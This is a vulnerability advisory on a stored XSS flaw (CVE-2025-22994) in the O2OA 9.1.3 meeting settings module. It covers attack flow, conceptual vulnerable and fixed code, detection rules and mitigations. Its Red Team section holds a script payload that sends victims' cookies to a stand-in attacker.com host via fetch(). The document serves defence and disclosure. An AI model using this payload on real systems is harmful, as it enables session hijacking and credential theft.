CVE-2025-22994

Executive Summary

CVE-2025-22994 identifies a stored Cross-Site Scripting (XSS) vulnerability in O2OA version 9.1.3, specifically within the Meetings - Settings module. An authenticated attacker can inject malicious scripts into meeting configuration fields, which are then executed in the browsers of other users who view the affected settings. This can lead to session hijacking, credential theft, or further compromise of the O2OA instance. The vulnerability is publicly known but currently lacks an official patch or detailed exploit code.

Supply Chain & Package Security

O2OA is a Java-based open-source enterprise collaboration platform. While not a direct package manager dependency (like NPM or PyPI), its deployment often involves downloading JAR files or Docker images. The risk is elevated if organizations use unverified third-party builds or fail to apply custom security patches. The lack of an official patch means administrators must implement manual mitigations.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a full vector calculation. However, based on the vulnerability type and context, a reasonable estimated vector is:

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 5.4 (Medium)

• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): Low – an attacker needs a valid user account.
• User Interaction (UI): Required – a victim must view the malicious meeting settings.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure (e.g., session tokens).
• Integrity (I): Low – limited ability to modify data.
• Availability (A): None – no direct impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the lack of a patch and the potential for lateral movement make this a significant concern for O2OA deployments.

Deep Dive & Mechanics

The vulnerability resides in the Meetings - Settings module of O2OA 9.1.3. This module allows users to configure meeting parameters such as room names, descriptions, or notification templates. The application fails to properly sanitize user-supplied input before storing it in the database and later rendering it in HTML.

Attack Flow:

1. An authenticated attacker navigates to the Meetings - Settings page.
2. The attacker injects a malicious payload into a text field (e.g., meeting room name).
3. The payload is stored in the backend database without sanitization.
4. When another user (including administrators) views the meeting settings, the payload is rendered in the browser.
5. The injected script executes, potentially stealing cookies, redirecting the user, or performing actions on behalf of the victim.

Root Cause: The application likely uses a template engine or direct string concatenation to render user input without proper output encoding. The absence of a Content Security Policy (CSP) or input validation allows arbitrary HTML/JavaScript to be stored and executed.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual Java/JSP):

<%
String meetingName = request.getParameter("meetingName");
// Directly stored and rendered without sanitization
out.println("<div class='meeting-name'>" + meetingName + "</div>");
%>

Patched Code (Conceptual):

<%
String meetingName = request.getParameter("meetingName");
// Sanitize using OWASP Java Encoder or similar library
String safeMeetingName = Encode.forHtml(meetingName);
out.println("<div class='meeting-name'>" + safeMeetingName + "</div>");
%>

The patched version uses context-aware output encoding (e.g., Encode.forHtml()) to neutralize any HTML/JavaScript in the input.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on an O2OA 9.1.3 instance.
• Access to the Meetings - Settings module.

Exploitation Steps:

1. Log in to O2OA.
2. Navigate to Meetings -> Settings.
3. In a text field (e.g., "Meeting Room Name"), enter the following payload:

   <script>alert('XSS')</script>
   

4. Save the settings.
5. Wait for another user (e.g., an administrator) to view the meeting settings. The script will execute in their browser.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Lab Setup:

• Use a local Docker instance of O2OA 9.1.3.
• Create two user accounts: one attacker, one victim.
• Use a web proxy (e.g., Burp Suite) to intercept and modify requests.

Blue Team

Detection:

• Monitor for unusual characters in meeting settings fields (e.g., <script>, onerror=, javascript:).
• Review web server logs for requests to /x_meeting_assemble_control/jaxrs/meeting/ or similar endpoints with suspicious payloads.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Hunting:

• Query the database for stored meeting settings containing HTML tags or JavaScript event handlers.
• Example SQL:

  SELECT * FROM meeting_settings WHERE setting_value LIKE '%<script%' OR setting_value LIKE '%onerror=%';
  

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the O2OA server.
  • Unusual Referer headers pointing to meeting settings pages.
• Host:
  • Modified meeting settings containing <script>, <img onerror=, or <svg onload= tags.
  • Unexpected JavaScript files or inline scripts in the browser's developer tools.
• Logs:
  • Web server logs showing POST requests to meeting settings endpoints with encoded payloads.
  • Application logs indicating failed input validation or SQL errors.

Detection Engineering

YARA Rule

rule CVE_2025_22994_O2OA_XSS {
    meta:
        description = "Detects stored XSS payloads in O2OA meeting settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22994"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+on\w+\s*=[^>]*>/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: O2OA Stored XSS in Meeting Settings
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects potential XSS payloads in O2OA meeting settings requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/x_meeting_assemble_control/jaxrs/meeting/'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in meeting descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22994 O2OA Stored XSS Payload Outbound";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/x_meeting_assemble_control/jaxrs/meeting/"; http_uri;
    pcre:"/(<script|<[^>]+on\w+\s*=|javascript\s*:)/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Meetings - Settings module if not essential, or restrict access to trusted administrators only.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script, onerror=, or javascript: in meeting settings fields.
3. Apply input validation on the server side to reject any input containing HTML tags or JavaScript event handlers.

Long-Term Fix:

• Upgrade to a patched version of O2OA once available.
• Develop a custom patch by sanitizing all user inputs in the Meetings module using a library like OWASP Java Encoder.
• Enforce a Content Security Policy (CSP) that blocks inline scripts and restricts script sources.

Workaround:

• Manually review and sanitize the database entries for meeting settings using a script:

  UPDATE meeting_settings SET setting_value = REPLACE(setting_value, '<', '&lt;');
  

Valters IT